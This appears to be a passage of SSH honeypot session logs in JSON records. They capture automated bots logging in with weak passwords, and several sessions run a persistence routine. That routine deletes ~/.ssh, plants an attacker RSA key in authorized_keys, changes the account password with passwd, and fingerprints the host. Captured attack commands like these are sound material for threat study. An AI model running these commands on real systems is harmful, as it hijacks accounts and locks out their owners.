\"promo\\n3I3P227WU2Gh\\n3I3P227WU2Gh\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:49:20.604290+00:00","kind":"input","latency_ms":null,"data":"echo \"promo\\n3I3P227WU2Gh\\n3I3P227WU2Gh\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:49:21.355574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:49:21.938176+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:49:22.689579+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:49:23.606273+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:49:24.361435+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:49:25.570928+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:49:26.324692+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:49:26.743794+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:49:27.496553+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:49:28.204773+00:00","kind":"output","latency_ms":null,"data":" 13:49:28 up 6 days, 10:39,  0 user,  load average: 0.05, 0.04, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:49:28.962119+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:49:29.646465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:49:30.400480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:49:31.050155+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:49:31.800701+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:49:32.562580+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:32 up 6 days, 10:39,  0 user,  load average: 0.05, 0.04, 0.05\nTasks: 125 total,   1 running, 124 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7944 free,    7944 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:49:33.315807+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:49:34.071360+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:49:34.822053+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:49:35.314615+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:49:36.066800+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:49:36.407414+00:00","kind":"output","latency_ms":null,"data":"promo"},{"seq":29,"at":"2026-08-26T13:49:37.158524+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:49:38.556736+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:49:39.319226+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:49:40.756799+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"promo","password":"promo","method":"password","accepted":true,"tier":"other"}]}
{"id":"b0008d69-3daa-41b3-81e3-cf0329c83e2e","name":"ginger-whispering-gannet","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40608,"username":"promo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:49:16.311970+00:00","ended_at":"2026-08-26T13:49:18.449908+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"promo","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"acafe76b-2fdf-46f8-b8b7-ee885a5f0dce","name":"sooty-ruddy-wagtail","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40607,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:49:13.929675+00:00","ended_at":"2026-08-26T13:49:14.812681+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"ab16ca17-a9d5-4c27-9a60-3452b2bdc134","name":"sterling-stoic-antelope","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40603,"username":"sftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:46:55.311183+00:00","ended_at":"2026-08-26T13:46:56.925106+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2069,"events":[{"seq":1,"at":"2026-08-26T13:46:27.829743+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:46:28.578914+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:46:35.503556+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:46:35.911255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:46:36.666591+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root\\n5RRSAzVRDBt1\\n5RRSAzVRDBt1\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:46:37.412409+00:00","kind":"input","latency_ms":null,"data":"echo \"root\\n5RRSAzVRDBt1\\n5RRSAzVRDBt1\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:46:38.161914+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:46:38.457595+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:46:39.207962+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:46:40.106894+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:46:40.860710+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:46:42.191096+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:46:42.944807+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:46:43.204361+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:46:43.954800+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:46:44.547859+00:00","kind":"output","latency_ms":null,"data":" 13:46:44 up 6 days, 10:36,  0 user,  load average: 0.2, 0.21, 0.18\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:46:45.298496+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:46:46.131553+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:46:46.882417+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:46:47.515968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:46:48.268907+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:46:48.724855+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:48 up 6 days, 10:36,  0 user,  load average: 0.2, 0.21, 0.18\nTasks: 114 total,   1 running, 113 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6672 free,    9215 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:46:49.476205+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:46:49.968516+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:46:50.721536+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:46:51.299830+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:46:52.049865+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:46:52.407895+00:00","kind":"output","latency_ms":null,"data":"sftp"},{"seq":29,"at":"2026-08-26T13:46:53.162875+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:46:54.561683+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:46:55.311842+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:46:56.686760+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sftp","password":"root","method":"password","accepted":true,"tier":"other"}]}
{"id":"1c4d0134-751b-4c17-94c1-b8ca049790d7","name":"boreal-arctic-lark","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40605,"username":"sftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:46:33.352527+00:00","ended_at":"2026-08-26T13:46:35.264851+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sftp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"1bf290d2-4991-472f-affc-b832b092c114","name":"dutiful-cobalt-oryx","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40604,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:46:30.324607+00:00","ended_at":"2026-08-26T13:46:31.857455+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"76a17a04-81fc-46e0-842e-f42baf2ed11f","name":"opal-quaint-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40600,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:43:47.076076+00:00","ended_at":"2026-08-26T13:43:48.360001+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2067,"events":[{"seq":1,"at":"2026-08-26T13:43:23.535751+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:43:24.285534+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:43:30.628809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:43:30.629261+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:43:31.380213+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\ntPU5Knpw6oTl\\ntPU5Knpw6oTl\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:43:32.129135+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\ntPU5Knpw6oTl\\ntPU5Knpw6oTl\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:43:32.880913+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:43:32.881271+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:43:33.632337+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:43:34.246905+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:43:35.000308+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:43:35.511525+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:43:36.264640+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:43:36.265074+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:43:37.014857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:43:37.015438+00:00","kind":"output","latency_ms":null,"data":" 13:43:37 up 6 days, 10:33,  0 user,  load average: 0.28, 0.27, 0.28\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:43:37.767481+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:43:37.767874+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:43:38.518086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:43:38.518528+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:43:39.268396+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:43:40.003455+00:00","kind":"output","latency_ms":null,"data":"top - 13:43:40 up 6 days, 10:33,  0 user,  load average: 0.28, 0.27, 0.28\nTasks: 128 total,   1 running, 127 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7308 free,    8579 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:43:40.754920+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:43:41.556698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:43:42.307367+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:43:42.812342+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:43:43.562204+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:43:44.097759+00:00","kind":"output","latency_ms":null,"data":"gpadmin"},{"seq":29,"at":"2026-08-26T13:43:44.848545+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:43:46.323739+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:43:47.076562+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:43:48.120600+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gpadmin","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"c2410df0-f5e5-473b-9be3-aa727d1586ac","name":"flinty-murky-ptarmigan","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40602,"username":"gpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:28.682930+00:00","ended_at":"2026-08-26T13:43:30.391264+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"f36849e9-a629-4dab-93ab-02b440dd91d8","name":"primal-gallant-walrus","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40601,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:26.020808+00:00","ended_at":"2026-08-26T13:43:27.193046+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"cb3ba518-0c4e-4f70-9050-d020bad8cb20","name":"russet-weathered-owl","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40597,"username":"kim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:41:02.716304+00:00","ended_at":"2026-08-26T13:41:03.522586+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2048,"events":[{"seq":1,"at":"2026-08-26T13:40:42.864907+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:40:43.623768+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:40:49.538263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:40:49.538919+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:40:50.298121+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n149uFpoQqcmj\\n149uFpoQqcmj\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:40:51.056081+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n149uFpoQqcmj\\n149uFpoQqcmj\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:40:51.814017+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:40:51.815227+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:40:52.573742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:40:53.168899+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:40:53.929742+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:40:54.513612+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:40:55.274631+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:40:55.275250+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:40:56.033100+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:40:56.033588+00:00","kind":"output","latency_ms":null,"data":" 13:40:56 up 6 days, 10:31,  0 user,  load average: 0.17, 0.13, 0.17\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:40:56.794689+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:40:56.795202+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:40:57.558618+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:40:57.559400+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:40:58.314131+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:40:58.314594+00:00","kind":"output","latency_ms":null,"data":"top - 13:40:58 up 6 days, 10:31,  0 user,  load average: 0.17, 0.13, 0.17\nTasks: 124 total,   1 running, 123 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6196 free,    9691 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:40:59.074039+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:40:59.074453+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:40:59.831165+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:40:59.831726+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:41:00.592073+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:41:00.592582+00:00","kind":"output","latency_ms":null,"data":"kim"},{"seq":29,"at":"2026-08-26T13:41:01.348522+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:41:01.958228+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:41:02.717172+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:41:03.281051+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kim","password":"1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"253e058f-ec5c-4ec8-b0ea-f97426ae293d","name":"quaint-mindful-mole","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40599,"username":"kim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:40:47.690117+00:00","ended_at":"2026-08-26T13:40:49.299067+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kim","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"b4382adc-63aa-42ab-ab49-9bafb30605ef","name":"indigo-quartz-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40598,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:40:45.356544+00:00","ended_at":"2026-08-26T13:40:46.200741+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
